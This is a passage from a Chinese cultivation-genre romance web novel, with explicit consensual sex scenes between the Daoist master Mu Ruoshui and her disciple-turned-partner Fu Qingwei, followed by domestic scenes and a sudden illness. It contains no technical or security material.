修道久了目力也比常人强一些,傅清微扫了一眼, 头晕目眩, 不知道是捂眼还是挡住她,说:“你要不先把衣服穿上?” 穆若水:“……” 穆若水捡起匆忙中扔在床尾的青袍,随意披在了身上, 说: “方才催我快些, 恨不得亲手上来脱的是你,现在让我穿衣服的也是你。” “此一时彼一时嘛。”傅清微自知心虚地哄,拉住她的手腕阻止说, “腰带就不用系了,就这样。” “你确定?”穆若水挑眉。 “我确定。” “小心流鼻血。” 傅清微条件反射地抬手去摸自己的鼻下,一片干燥,底气不足道:“我会注意的。” 可这怪得了她吗?还不是师尊太诱人。 穆若水笑了笑。 “那……你还想我怎么做?” 傅清微指挥着穆若水靠坐在了床头, 她自己膝行过去,坐到她面前, 穆若水松垮垮的青袍遮掩了大半的身体, 腰带未束,春光若隐若现。 傅清微不可思议地沦陷在这副场景里, 说:“你怎么这么听话?” 这还是她那个不可一世的穆观主吗? 穆若水学她的语气回:“你是我道侣嘛。” 傅清微受用:“爱听,多说。” 穆若水淡道:“仅此一次,休要得寸进尺。” 傅清微朝她趴过来一点,几乎凑在她的眼前问:“那明天呢?” 穆若水唇角自作主张地勾起来:“明日的话明日再说。” 傅清微自然而然的:“我好爱你。” 她说:“如果知道和你谈恋爱这么好的话,我一定会早点开始,每一分每一秒,我都想和你在一起。” 穆若水:“但我好像是最近才……” 认识到并且弄清楚她对傅清微究竟是不是情爱的喜欢,而不只是身体的吸引,师徒之情。 傅清微再早追她也没用啊,她只会呵斥她鬼迷心窍。 傅清微熟练地伸手捂住她柔软的唇,说:“破坏气氛的话留着明天说。” 穆若水点了点头。 傅清微:“喜不喜欢我?” 穆若水又点了点头。 傅清微放开她,开始亲吻她,浅浅地啄吻唇瓣,穆若水长长的睫毛低垂,合目享受。 手指绕到傅清微胸前勾起她的发丝,沿着指根一圈圈地绕。 傅清微亲得深了些,她缠绕的动作便停在半空,和她接完这个吻。 傅清微的手慢慢地爬了上来,仍然带着生疏和胆怯,指尖轻轻地触碰着她,指腹轻抚。 穆若水阖动了一下长长的眼睫,睁眼又闭上。 傅清微没经验,此时不太能一心二用,她的唇舌从女人口中退了出来,从深吻变作浅吻,偶尔看看自己的手。 她的五指如何收束,陷进又陷出,肌肤饱满得按下去弹回来。 她捧着她,如同捧着世上最易碎的珍宝,小心对待。 傅清微埋首亲着女人的侧颈,回到中间,滑过喉骨,冰凉的发丝扫着锁骨,她抬头和穆若水对视了一眼。 穆若水抬手落在她的长发上,揉了揉她逐渐发烫的耳朵。 “师尊……” “无妨。” 傅清微的脑袋低了下来,用唇代替了自己的手,含吮舔弄。 穆若水的五指梳理着她柔顺的发丝,动作温柔,因为她的亲吻而溢出轻轻的叹息。 “清儿……” 傅清微和她十指相扣握在一起的那只手骤然收紧了,她以前不喜欢这个称呼是因为穆若水起初收徒的表现,如今对方情迷,唇齿旖旎滑出的两个字,竟意外的令她有感觉。 珍重而禁忌。 傅清微低头愈发卖力地亲吻她,舌尖来回扫着,耳听得一声接一声“清儿”,略微急促,夹杂着含混的呓语。 “轻些。” 穆若水的五指捏着她的后脖颈,将她稍稍拉远了一些。 “对不起。”傅清微舔了舔唇,也舔了舔她脆弱的雪樱。 “怎么又道歉?” “习惯了,对不起。我怎么又说了?” 穆若水低低地笑了一声,说:“没关系,很可爱。” “我在你心目中只是可爱吗?你一天要说好多遍。” “有其他的。” “比如呢?” “性感。” “……”傅清微的脸红来得如此迅速,山火席卷,耳根涨得绯红。 “迷人。” 穆若水还在说:“聪明、勇敢、乖巧。” “狐狸精。” 傅清微的大脑终于有理智思考了:“最后一个怎么?” 她们俩谈话的间隙,傅清微的身子已被带了上来,和穆若水相拥在一起。 女人外袍散乱,将将掩盖姣好身躯,被傅清微亲吻和作乱的地方则半遮半掩,袖子宽大,穆若水抬手一盖,也似给她披上了衣袍。 “冷不冷?” “狐狸精不冷。” “你接受得倒快。” “是夸奖,我为什么不收下?” “嗯。” 穆若水用体温给她捂着身子,生怕她着凉,傅清微却在她怀里动了动,意犹未尽:“师尊,我还想吃。” 穆若水捏了捏她的脸,纵容宠溺。 傅清微又喊她:“若水。” 是师徒,也是道侣。 穆若水的手便放下来,主动亲了亲她的唇,说:“可以。” 傅清微浅尝过一回,不像上回那么着急,从她的脸颊亲到耳朵,细密湿润的吻轻柔地落下,在耳垂稍作停留。 穆若水不自觉地偏过头,傅清微扶在了她的肩膀上,跪着低头亲她优越的颈线肩线。 用手描过一遍,用唇舌描过一遍。 “师尊……” “嗯?” “好喜欢你。” 她不厌其烦地表达爱意。 穆若水在心里回应了一句我也是,修长五指探入她脑后的长发,将她往自己怀里带了些。 傅清微虔诚地吻着她,唇瓣抿着,含一含,舌尖绕着打转。 不时抬起眸子看女人的反应。 她空着的一只手也放在另一边握住她,五指规律地收束,张弛有度。 穆若水的青袍仍裹在身上,傅清微伏在她怀里亲吻她,她抱着对方,好似二人共披了一件衣物似的。 傅清微贪恋面前的异香,不觉时间流逝,也没注意到朦胧里穆若水的眉头松了又紧。 “清儿。” “怎么了?”傅清微刚刚埋得深了,差点又没喘上气。 “今夜你先玩到这里,可好?” “我没在玩啊。”傅清微下意识反驳,她很认真地在取悦她,虽然……也有好奇的成分。 毕竟是她这辈子有过的第一个也会是唯一一个女人。 她不得好好地看一看,品一品。 “好好,你没在玩。”穆若水竟然会怕伤她自尊心,哄道,“春宵苦短,让我来好吗?” “可是……” “好不好?清儿?” 傅清微被她放柔声音的三言两语蛊得分不清东南西北,乖乖地两只手环上她的颈项,让她带着自己躺了下来。 “说好了,下次……” “下次让你。” 傅清微点点头,她不排斥就行,本来自己确实也不大会,干脆趁这会儿多学学,让穆若水对她言传身教。 她的眼睛在黑暗里看着穆若水,双瞳剪水,分外明亮。 穆若水将她好学的目光尽收眼底,不由一笑。作为她的道侣,她可不是想让她在自己的床上露出这种眼神的。 穆若水侧身和她接吻,一条腿压了过来,压在傅清微地势更低的那条腿上。 傅清微在刚刚“玩”女人的那段时间就不知不觉地为她起了变化,穆若水捧着她的脸深入地吻了她一会儿,傅清微就气喘微微,胸腔里缺氧。 她的两瓣唇都红着,吐露翕张,穆若水指背在上面抹了一下,指尖揉开,恶趣味地涂满她的唇,抹得到处都是。 傅清微头皮绷着,被她制住动弹不得,楚楚可怜地望着对方。 穆若水最喜欢她这种眼神。 她的指腹在她唇缝里来回活动,点着她敏感的唇珠打转,看着傅清微的眼圈一点一点变红,越来越委屈。 “乖。” 穆若水也轻喘了一声,偏头吻住她的耳朵。 她的手仍在她唇间揉着,指尖挑开唇缝,快速地拨弄。 傅清微情难自抑的声音一点都没有保留地涌入她近在咫尺的耳中。 穆若水控制不住地咬上了年轻道侣的耳廓,比她低了无数倍的轻吟也送入对方的耳里。 傅清微第一次听,当即又…… “师尊。”她哭着喊她,一波又一波地胡乱咬住她作乱的手指。 只听着声音就……傅清微在认识她以来都是屈指可数,甚至严格来说从未有过。 傅清微反应过来以后,只想找个地洞钻进去。 她本来就没有的一世英名更是丧失殆尽了。 穆若水本想一鼓作气继续,但是傅清微抽抽噎噎哭得实在太可怜了,还努力把哽咽的哭声咽回去,错过这副表情她会后悔的。 一帧都不能放过。 “怎么了呢?”女人温柔地亲了亲她的脸,明知故问道。 “我……我……”傅清微滚落两颗委屈的眼泪,把脸往上埋进她的颈窝里。 “这样不好吗?” “好吗?”这么不争气的表现。 “当然,这是天赋。” 傅清微差点被她逗笑:“什么好什么多的天赋,是吗?” “是,我很喜欢。” 穆若水给她看自己刚做了手膜的手,哄着说:“你看,又弄我一手。” 傅清微才不敢看,换位思考一下她也很喜欢,如果对方是穆若水的话。只是轮到自己,就太丢脸了。 “只有这时候你才会对我说喜欢。”傅清微羞怯地转移话题。 “你睡着的时候我也会。” “非要等我睡着吗?” “嗯,当面会害羞。” 傅清微顿时生出一种开灯的冲动,她倒要看看女人是怎么害羞的。然而真开了灯,羞成红虾子的恐怕又是自己。 师尊何尝不是另一种形式的天赋异禀?她们俩简直天仙配。 傅清微从容接受了自己的体质,不好意思地在她怀里扭动了一下。 肌肤相亲的感觉如斯美妙,她又忍不住蹭了蹭,抱一抱女人,主动送上门。 该尝的都尝了,她想尝点不一样的,从未有过的。 穆若水会意地啄着她的唇,说:“休息好了吗?” 傅清微:“小看我。”她可是什么好什么多的小猫咪。 接下来就无须多话了,穆若水已喂了她好几道餐前点心,傅清微也该正式端上来了。 穆若水依然对她柔弱的两片唇爱不释手,最是娇滴滴,捧着捻着,指节反复贴合湿软。 傅清微的手搂在青袍里,攀着她的背,一会儿沿着脊柱线数她的脊椎,一会儿落在女人紧致的腰线,指尖婆娑。 她有些不易见的紧张,也期待着师尊的对待。 眼神一会飘向帐顶,一会定格在女人的脸,在某个时刻,轻轻地咬住了下唇。 穆若水熟练地揉开她微张的唇瓣,食指探入一节,大拇指在外面温柔安抚。 傅清微的神情并未不适,随着她的进度张唇含入了第二节,直到指根,方蹙了蹙眉。 不是第一次吃师尊的手指,却是换了种方式。 温热自发地包裹住她。 穆若水怜爱地亲了亲她的眉心。 傅清微一动不动良久,轻轻地吐了口气,胸腔仿佛被什么涨满了,感性地睫毛染上泪意,想去抱身前的女人。 穆若水用空着的那只手来抱她。 两人静静地拥抱了许久。 穆若水的手腕缓慢地转动。 女人看着她的眼睛,慢慢吐出她喜欢的那个生涩的称呼:“宝贝……” 傅清微的脑子当场宕机。 即使她的语气不够坚决,还带着不知道能不能这样叫的疑惑,足以让傅清微这位毫无恋爱经验的女大立刻缴械。 “……” 穆若水动不了了。 因为傅清微死死地咬住她的指节。 她只好来吻傅清微,傅清微这时候却不让她吻,扭过头把脸埋进枕头里,张口剧烈喘息。 穆若水感受着指节传来的强烈压迫感,等她缓过来,伸手摸了摸她的头发,大约也不知道说什么好了,词穷地说出了一句肯定的:“嗯。” 傅清微羞得只想睡觉。 “师尊,我累了。” “可是我还没有使力。”穆若水目光真诚且无辜。 “……你不要再说了。”傅清微心说:再说我真的要找块豆腐撞死。 “嗯。” 穆若水慢慢地应了一声。 她还是得发挥点主观能动性的,否则和工具人有什么区别。 傅清微惯会拿她当工具人,只顾自己,不管她,她的胃口才刚刚打开。 穆若水就着现状,手指逡巡,慢条斯理。 傅清微张口,似乎想吐露句什么,刚想好的话被打断,脑子里骤然乱了。 “师尊!” 她短促地叫了一声,攫住她的手腕。 穆若水拿开她的手,悠悠地道:“你不是要睡觉了吗?” 她自顾自地徘徊,临渊涉水,婆娑指尖。 傅清微皱眉,不像是难受,眼睛却切切实实地泛上一圈红,说:“你这样我怎么睡得着?” “是吗?我以为你睡眠很好?” 穆若水在里面慢慢地“折磨”她。 她支起一侧手肘,甚至抱也不来抱她了。 她们之间相连的只有轻描淡写的,如同鸿羽掠过,而存在感十足的手指,捉弄作乱。 傅清微主动抱紧了她,也更深了,说:“我错了。” “嗯。”穆若水不咸不淡,不紧不慢。 “师尊~” 傅清微开始撒娇。 穆若水却说:“我要睡了。”干脆利落地收回手。 按照傅清微的性格,她应该会捉住她的手,所以穆若水提前预判,完美闪避她来拘她的动作。 傅清微:“……” 徒留她满身孤冷,空虚难捱。 穆若水及时跟上,以免她自暴自弃真的睡了,温和道:“我可以给你,但你也要让我满足,不要动不动就吵着睡觉,好吗?” 傅清微不解:“我睡着了你也可以弄醒我啊,又不是没有过。” 穆若水:“就今晚,答应我不要睡。” 女人在她的耳边动情地说:“我想要你,一直清醒着感受我。” 对傅清微来说这是确认女朋友关系的第一天,她或许知道道侣的意义,也明白她们将一生相守。可她究竟是当了二十年的凡人,不明白结契的重要性。 即使没有红烛喜堂,在她们对天立誓的那一刻起,今夜就是她们的洞房花烛。 傅清微偏头看向女人的脸,惊讶于她口吻里的深情与郑重。 她回以同样的认真:“好。” 她想:如果按照玄门的规矩来说,结为道侣相当于成亲,那今夜是不是她们的洞房花烛。 两人无独有偶地想到了同一件事。 傅清微两手捧住女人的面颊,仰脸浅浅地亲了一下她的唇,温柔珍重。 “我会醒着的,直到我们俩一起入睡。” “嗯。” 穆若水从上方回亲了一下她。 “清微。” “嗯?” “我……”穆若水薄唇翕动几次,说不出口,最终选择用吻来代替她的回答。 傅清微的一只手被她缠着十指相扣按在枕边,优美的天鹅颈向后仰,女人流水一般的长发自身后滑落,一半都遮在了傅清微镀满月光的身体上。 傅清微摸到她不知何时散落的丝绸发带递过去,女人跪坐起来,两手拢在脑后将长发绑了。 傅清微从月光底下看她,充满了不自知的迷恋。 穆若水俯下来吻她,用最温柔的力道对待她,舌尖卷过,喉咙轻轻地吞咽。 她亲得差不多,用手指代替了唇舌。 傅清微和她紧紧地相拥在一起,只留出女人活动的空间。 傅清微不仅要清醒地感受她,还要她清晰地看着自己,哪怕实在忍不住想抬手挡住眼睛的泪水,想着穆若水喜欢看她失控,便也忍下来。 穆若水一瞬不瞬地望着她,每一个因她而起细微的变化,起伏的音调,音节长短间隔。 适当做出调整,以达成最完美。 她也在学习,不过是在实践中学习,傅清微是最好的老师。 穆若水则是她唯一教过最聪慧的学生。 傅清微任何一个念头都无法成型,窗前的月光都碎作乱影,在她斑斓的视线里跳跃,晃动。 万籁俱寂,唯余厢房里二人的高吟和耳语。 无灯有月,情意正浓。 …… 月挂东厢。 卧室的房门悄悄从里面打开,对面的小三花从容睁眼,波澜不惊地踏进了它的寝宫。 房间里有两只两脚兽,意味着它睡不了豪华大床,只能去书桌的椅子上挤一挤,小三花踱着猫步迈向书桌方向,忽然扭头朝床边望去。 它跳上了床沿,湿润的粉红鼻尖凑到傅清微脸上,嗅了又嗅,迟迟拿不定主意。 穆若水从后面拎起小猫的后脖颈,说:“活着呢。” 虽活着,可傅清微已“死”了好几次了,气若游丝。 傅清微睁了睁眼,果然信守承诺没睡,问:“几点了?” 穆若水正将猫丢到该睡觉的地方,回她:“天还没亮。” 傅清微:“……” 估计离天亮也不远了。 穆若水拎着猫,原地沉吟片刻,转身将它送出了卧室。 突然又被丢出来的小三花:“?” 傅清微:“?” 穆若水关上门,回来搂着正躺在床上休息的傅清微,说:“我想了想,今晚它不适合打扰我们。” 傅清微:“我还以为你又想……” 穆若水:“你想了?” 傅清微:“不是很想。” 穆若水刚从夜色里回来,寒露温凉的鼻尖蹭着她的耳后,缠绵依恋,吻落在她的肩头细颈。 “宝贝……好不好?” “好。” 傅清微可耻地又投降了,谁让她对穆若水说这种话毫无抵抗力。 甚至只要两个字! 穆若水将她的身子侧过去面向床里,自己则从身后抱着她。 傅清微身前是她的手,背后是她紧紧抵着自己的身体,她回过头和女人接吻。 几重感受叠加之下,很快就承受不住地想避开她的唇,穆若水捏住她的下巴让她看向自己,激烈的快意里,所有的泪水轰然坠下。 傅清微真的不行了,她再是个小猫咪也禁不住这样折腾。 穆若水抱着她吻去她不止源于快乐的泪水,哄道:“睡觉了,这次真的睡了。” 傅清微哭着说:“我要喝水。” 穆若水诧异:“哪个水?” 她还有力气对自己做什么? 除了嘴,她现在全身上下恐怕没有能动的地方。 傅清微恼道:“解渴的,不会越喝越多的。” 穆若水摄来桌上的水杯,是空的,刚才都被傅清微喝完了。 她出去给她倒水,回来傅清微还是强撑着眼皮不睡,直到给她喂了水,穆若水抱着她阖上眼帘,她才沉沉入睡。 第127章 新婚第一天, 有不起床的特权。 傅清微的闹钟都被穆若水关了,一觉睡到自然醒,醒时她面向床里, 穆若水从身后抱着她。 一条手臂垫在她颈下绕过来横在她胸前, 另一只手缠着她的腰, 后背的柔软紧紧抵着她,背面拥着严丝合缝, 温暖的肌肤相融。 傅清微睡眼惺忪地醒了好一会儿盹, 才低头看看女人亲昵缠在她身上的姿势,愉悦满足。 她甜蜜地心想:傅清微啊傅清微, 你也有这一天了。 以后的人生, 哪有她羡慕别人的份?天底下还会有人比她更幸福吗?不会有。 穆若水虽然没有呼吸,但是和她在一起的时候有体温,从她暂时停止的呼吸来看, 她应该还没醒。 傅清微一只手覆在她搭在自己腰间的手背, 合上眼。 她本想接着睡会儿,女人的身材存在感太强,后背的肌肤被挺立的红豆浅浅地刮着, 她又抱得这么紧,新婚燕尔的清晨,也可能是午后,傅清微背后濡出一层细细的汗。 观主也不会出汗, 苦了傅清微一个凡人。 既心里热,身体也热。 傅清微忍不住悄悄拿开她横在自己胸前的胳膊, 枕着她的手臂换了个方向, 转过来侧身面向她。 确实是午后了,窗户开了半扇, 屋子里光线明亮。 傅清微用目光描着女人优越的眉眼,柔美中稍显英气,怎么看都不腻。 良久,她不舍的眼神才顺着脸颊往下看,掠过修长雪颈,烙了几枚浅粉红印的锁骨,以及布满吻痕的胸口。 傅清微:“……” 她昨晚有这么凶残吗?看起来好严重的样子。 所以师尊后来才不让她亲吗? 傅清微垂眸盯着,小心地抚上去,摸摸碰碰的,检查她可能会有的伤势。 即使观主根本不会受伤。 穆若水一门心思装睡。 没有呼吸除了在睡觉以外,还有个可能是她故意不伪装人类。 被傅清微早起这么一通检查,女人很快也起了相应的变化,饱满地抵着傅清微覆上来的掌心。 傅清微想了想,把手移开了。 她埋头吻了下去。 力道轻轻的,浅浅的,只用唇瓣和舌头安抚,一点牙齿都不敢露。 穆若水揉着她的长发,睁眼瞧着她越吻越深。 穆若水只轻轻地叹息,主动挺起上身迎合她的口腔。 傅清微自个儿已喘得不行,胸闷气短,也不知是在和谁争抢,生怕吃不上似的。 穆若水轻车熟路地摸到她两片软唇揉着,一手的情满。 粘稠,丰润。 “大清早的这么热情,嗯?” 不打一声招呼,她指节陷了进去,仿佛是被吸进去的。 傅清微短促地呜了一声,本能地翕动唇瓣,不受控地咬住她的手指。 天还亮着,她能明显感受到傅清微的害羞,与害羞随之而来的是加倍的兴奋。 紧紧包裹着手指呼吸。 “清微。” 穆若水吻着她的颈子,隐隐也有几分激动,她将她翻身彻底拉到自己面前,低头落下无数密吻。 她的手跟着加快了动作。 傅清微不敢张口,张口就走漏声音,可是她闭上了一张嘴,第二张还是在出声。 是穆若水故意弄出来,让她面红耳赤。 傅清微被带得微微晃动,偏开头看着开了一半的窗户,令自己的注意力集中在屋外,有小猫追逐打闹的声音。 穆若水向她压了下来,问:“在想什么?” “在想猫吃饭了没有。” “不想我?” “不敢想。”傅清微已经快被逼得快流出泛红的泪水,再想她她估计要完了。 “想想我,感受我,好不好?” 傅清微忽然抬手勾住她的脖颈和她接吻,刚尝到她的舌尖,所有的感官积累同时爆发,她咬住她的唇,在她怀中剧烈地颤抖,许久许久才轰然落下。 穆若水一只手兜住她的腰,另一只手贴合在原处不动,延续她带给对方的感觉。 女人心口起伏,痴迷不已地吻她脸颈、耳后,齿间滑出她喜欢的情人的耳语。 直到傅清微渐渐平静下来。 她将手收回来,自己满意地欣赏,也叫上傅清微一起看。 谁大清早做手膜啊? 傅清微一脸羞愤埋进枕头里,累得又睡了过去。 第二次醒来离上一次间隔不长,和她平时午睡后的光景差不多,傅清微推测大约是下午两三点,她从床上坐起身,身上的衣物已被换过,舒适清爽。 “狐狸精醒了?”书桌方向传来女人的声音。 傅清微转头望去,穆若水一手执卷坐在书案前,青衫落拓,腰带半解,出口的话和她如今的气质一样洒脱不羁。 人生四喜,洞房花烛,久旱甘露,她吃饱喝足,焉能不自在潇洒。 新晋狐狸精本人:“……” 傅清微默了默,说:“我腰酸。” 穆若水立时收起揶揄神色,关切地走上前:“我给你按按。” 傅清微背身趴在床上,回头叮嘱说:“你动作老实一点。” 穆若水:“大逆不道。” 傅清微:“我还以下犯上呢。” 犯不了一点,师尊段位太高了。 原来她先前见识到的只是冰山一角,真的当了道侣她才知道穆若水有诸多手段,碍于师徒名分并未过分对待她。 昨晚傅清微正着、侧着,从前面,从后面都被她欺负过,女人一边折腾她一边喊“宝贝”,宝贝后面跟着各种各样的指令,傅清微就跟灌了迷魂汤似的,毫无底线,要她如何便如何,听话地照做。 明明是一个刚从棺材里醒过来不久的人,她怎么晓得这许多花样? 失忆那么多,唯独这件事还有肢体记忆是吧?对傅清微而言似乎也不是什么好消息。 穆若水对她的豪言壮语只回答了一声纵容的笑,说:“好,你慢慢练习,为师有的让你犯上。” 傅清微腰后按上一双修长柔软的手,替她缓解酸意。 “你不准反抗。” “我何时反抗过?” “刚刚,要不是你突然……那个我,我水平肯定能进步的。” “你是说,你勾引我,还不让我动手是吗?这对我就公平吗?”穆若水按揉的动作和她的声音一样慢条斯理。 傅清微埋在枕头的唇角扬了扬。 虽说练习被迫中断,但谁又不喜欢自己对恋人有巨大的吸引力,穆若水喜欢上她,但凡她身体受得住,不管几次,什么姿势,她是怎么也要受下的。 正按到关键穴道,穆若水换了肘关抵上来,方便施力。 她低头一瞧,傅清微两只手清瘦骨感地抓着枕边的床单,指节分明,长长地嗯了一声。 “……” 穆若水扭头看窗外的天色,说:“你今天还起床吗?” “起。” “好吧。”穆若水语带惋惜。 穆若水把闪过的杂念都留到晚上,专心给她按摩完,两个人一起来到庭院,屋子里难以言说的暧昧气氛顿时散了不少。 傅清微终于呼吸到了自由的新鲜空气,在院子打了一套强身的拳法。 穆若水去厨房给她做晚饭,今天唯一的一顿饭。 傅清微到厨房黏了一会儿穆若水,因为抱着她做饭太碍事仍然被赶了出来,口吻却温和不少。 傅清微倚在门口问:“师尊,你以后还会对我凶吗?” “你想要我凶一点还是温柔一点?” “我想你怎么做你就会怎么做吗?” “不会。为师是你的道侣,又不是你的仆人。” “那就好。” 虽然她寿命短暂,穆若水看她估计有人类看猫猫一样的怜爱,可她不希望她因此让渡部分自我。 现在她唯一能确定的是穆若水在她的床上,一定是百分百的自我,因为她求饶一点用都没有。 穆若水解释道:“今日是我们新婚的第一天,在现代来说叫蜜月期,没有道侣会在这时候发脾气。日后你若惹我生气,我还是要教训你的。” 穆观主说话弯弯绕绕,傅清微从她平铺直叙的话里翻译出她真正的意思。 就是:我们刚刚成亲,我对你有万般柔情,怎么可能会生你的气呢? 几分钟前傅清微走进厨房从身后抱住她的腰,笑容自然而然盛放在了女人的眉眼,转过身来和她吻在一处。 哪里是傅清微碍事,是穆若水一见她就无心做饭,反过来赖她美人祸水。 昨天之前,傅清微以为师尊对她有情爱的喜欢,兴许不会太深,毕竟她情根都是新长的,她们结为道侣后可以日久生情,慢慢补全。 现在看来师尊不要太爱她了,爱到不自知。 傅清微好奇:“那我做什么你会生气呢?” 穆若水:“……” 其实她已许久没有生过傅清微的气了,赌气不算生气。 脑海里有个声音自然浮现:承认吧,你早就爱上她了。 现今穆若水没什么好不承认的,她望着傅清微浅浅一笑,说:“为师也不知道。” 傅清微被她的笑容蛊惑到,上前亲了一下她的脸。 穆若水感受着脸颊残存的柔软触感,说:“你这样就很好。” 傅清微凝视着她:“你这样也很好。” 她们在一起这一生一定会非常幸福的。 傅清微想抱着她再腻一会儿,但锅里的菜要烧糊了,穆若水催促了两声,将黏人的女大赶出去等饭。 傅清微陪猫玩了一圈,吃完晚饭,离天黑又近了一步。 穆若水早早地去泡完温泉回来,天黑之后就准时刷新在了她房间里。 傅清微:“……” 从师徒变成道侣以后最明显的变化,就是穆若水看她的眼神,半点都不清白了,尤其是入夜。 生活相处二人早就习惯了,暂时没有新的相处模式。 傅清微说:“我要打坐。” 穆若水占着书桌:“无妨,我先看书。” 打完坐以后做什么不言而喻。 傅清微依稀记得,从前有一位师尊和她说,修道之人不可纵欲。难道双修就可以了?世上真有双修之法吗?目前只有穆若水单方面采补她。 穆若水放下书本,说:“其实双修的法子……如何说呢?典籍中确有记载,但和成仙之术一样,都没有证据证明有效,我如今又并非活人,强行双修恐对你有害。” “那具体是怎么修的?” 房间里只有她们两个,穆若水露出难以启齿的神色,说:“你过来,我附耳告诉你。” 傅清微的好奇心达到了顶峰。 她走到书桌旁,穆若水在她的耳边悄声说了一段话。 傅清微的脸色慢慢涨红,目光不由自主往下飘,也不知瞟到女人的哪个地方。 穆若水清了清嗓子:“明白了吗?” 傅清微点点头。 穆若水:“以后有时间,我再熟练一些,你想试的话,咳,我们可以试试。” 傅清微也不敢大声,轻轻地嗯了一句。 昨夜她就已经受不了了,再这样那样的她岂不是要死在师尊身上。 “嗯,再说。” “去打坐吧。”穆若水重新执卷,扭过去的脸露出半只染上绯意的耳朵。 “好。” 晚上十一点准时熄灯。 夜里两点小三花才被放进卧室,潦草地团在书桌的椅子里睡觉。 傅清微按掉起床的闹钟,望着头顶的床帐发呆,昨晚又是荒唐放纵的一夜。 她都不记得被穆若水哄着来了多少次,最后实在不行被做得昏睡了过去。 到底谁才是狐狸精啊? 女人的手摸了过来,傅清微拦住她往下的手腕,拒绝道:“女人只会影响我飞升的进度,我要练功了。” 她没看枕边人的脸,越过她下了床穿衣服。 她离床十几步远,才敢回头,生怕自己又上钩,穆若水正躺在被子里,和平常一样看着她,刚睡醒的眼神迷茫不解。 她从来就不会露出故意勾人的神情,是傅清微自己意志薄弱,热恋的荷尔蒙无法理喻。 “我去洗漱。”她对自己下达指令。 “可。” 穆若水闭眼接着睡觉。 刷完牙的傅清微回来把她亲醒了,在穆若水要拉她上床睡回笼觉的时候及时弹开,留下欲求不满的道侣转身大笑跑了,直奔门外。 “我去练功啦,晚点见。” 她连声音都是雀跃的,飞进了林子里。 穆若水牵唇笑了笑,也起身洗漱。 傅清微今天练功非常顺利,她在结界里对着自己的剑说了她们在一起的话,连剑身都发出嗡鸣,仿佛在替她高兴。 “早知道不叫你相思了,叫你相守。” “你不喜欢啊?那还是叫相思好了。” “果然叫相思你就应。” “你好神,你以前的主人一定是个了不起的大人物,她是不是也有思念的人?” “现在被我捡漏了,我也会好好珍惜你的。” 山里只有她和穆若水两个人,傅清微有好多幼稚的话说出来怕师尊取笑她,现在有了一柄通人性的剑,她就像多了一个可以倾诉的朋友。 说起朋友,她还没有告诉甘棠这个好消息。 傅清微打算待会就告诉她。 她从结界里出来,惊讶地看向几步之外的背影。 一身青袍熟悉的身影转过来,望着她,眼底有桃花般动人的笑意。 “师尊!”傅清微激动地朝她跑过来,惊喜道,“你怎么来了?” “来接你回家吃饭。”穆若水说,“你怎么又要哭了?” 傅清微眸底水光闪烁,说:“不是,我是太高兴了。” 她从来没想过她也会有这么一天,就这两日,天底下所有的幸运和好事都一股脑砸在她的头上。 让她冲昏头脑之时,几乎是带着感激的惶恐去接受它们。 这是她一生最幸福的时刻,她好怕到头来是一场幻梦。 傅清微牵着女人的手,十指相扣,牵得紧紧的。 穆若水的袖子滑落下来,掩住二人交握的手,领着她往回走,说:“有人接这么高兴吗?” “嗯。”傅清微说,“以前小朋友都有大人来接,大人也有另一个大人来接,我只有我自己。” “哦。” “我以为你会说以后你每次都来接我。” “为师想了想,不能保证次次都来,所以没有许诺。”穆若水说,“但是,你想要我接的话给我打电话,我一定会来。” “不打电话呢?” “偶尔会来,多了不就没有惊喜了。” “你都会制造惊喜了呜呜呜。” “到底是笑还是哭啊?” “是喜极而泣。” 穆若水失笑,进了道观后,用袖子里掏出纸巾温柔地给她擦眼泪。 傅清微被她专注的视线看得不好意思,自己接过纸巾到一边治愈自己无药可救的泪腺了。 用过饭后,穆若水躺在藤椅里,傅清微枕在她怀里,给甘棠发消息。 穆若水单手搂着她,两个人一起看手机屏幕。 傅清微:【[转账]向你转账10000元】 甘棠:【???】 傅清微:【一个好消息,你猜猜是什么?】 甘棠:【你中彩票了?】 傅清微扭头问:“师尊,你介意和我一起自拍一张吗?” 穆若水猜到她想发给甘棠,勉为其难地同意了。 傅清微却说:“算了,师尊留着我一个人看,女配C不配。” 傅清微:【再猜一次,天大的好消息】 甘棠那边立刻所有的烟花表情包都发了过来。 甘棠:【恭喜恭喜,有情人终成眷属,一定要百年好合啊】 傅清微:【还得是你,我的好闺闺】 甘棠:【现在就是一个抓心挠肝,你有空视频吗?不会正在do吧[嘿嘿]】 穆若水&傅清微:“……” 傅清微心想我又不是你,边do边回消息,字还没有打完,想到她已经忘了杜昔言,又全部删除。 “师尊?” “你去和她打视频吧,我自己玩会儿。” 傅清微从她怀里坐起来,离开藤椅去了一边,没回房间,面向穆若水的方向,两人抬眼都能看到彼此。 甘棠接受了她的视频邀请。 傅清微:“我去找个耳机。” 穆若水在画外道:“无妨。” 甘棠:“啊啊啊啊我嗑。” 傅清微:“你嗑的cp成真了。” 甘棠:“哈哈哈我早就知道是真的,可算让我吃上国宴了。” 傅清微一本正经地小声:“那还是没有我本人吃得好。” 她偷偷瞟一眼穆若水,见对方没有往这个方向瞧,胆子又放大了一点。 甘棠:“爱听煌的,多说。” 傅清微捂着脸,指缝里透露一些:“前天晚上根本没睡。” 甘棠后悔了:“要不我们还是打字吧,这样说话太委婉了。” 傅清微:“本来我的尺度就只有这么大,打字也一样。” “藏着掖着了是吧,我们这么久的交情,我还一口没吃上呢,你给我说说解解馋怎么了嘛?” …… 两个女大在角落里聊天,以穆若水的耳力听得一清二楚。 她不再去看傅清微,省得影响她和朋友联系感情,把路过的小三花随手拘到自己怀里,给它擦了擦粉色爪子,按在胸口给它梳毛。 小三花早已习惯,随遇而安地窝在她胸口,享受着两脚兽的伺候。 傅清微的手机突然跌落在地。 那不算很重的一声响,随即穆若水听见手机里传出甘棠焦急的声音:“傅清微!” 她眼皮子一跳,跟着望了过去。 接下来的一切就像放慢了镜头似的,傅清微的身影在她眼前缓缓地倒了下来。 明明她已经那么快了,她接住了她的身子,没有让她摔落在地,也没有让她受一点外伤。 可她阻止不了大量的鲜血突然从她口中溢出来。 傅清微枕在她的怀里,一只手撑在地面抓着掌下的泥土,手背的青筋一根一根地爆出来。 她扭过身去,跪在地上呕吐,液体从喉咙难受得涌出来。 一大滩黑色的血迹出现在她面前的土地。 伴随着内脏的碎片。 穆若水骤然色变,铺天盖地的恐惧一瞬间抓住了她的心脏。 “清微!” 第128章 庭院里有晾晒的竹竿, 傅清微视频聊天的时候总喜欢手里摸着点什么东西,捏来捏去,都是些可爱的小动作。 现在身边空无一物, 又不能去摸师尊, 她退而求其次地退到了竹竿旁, 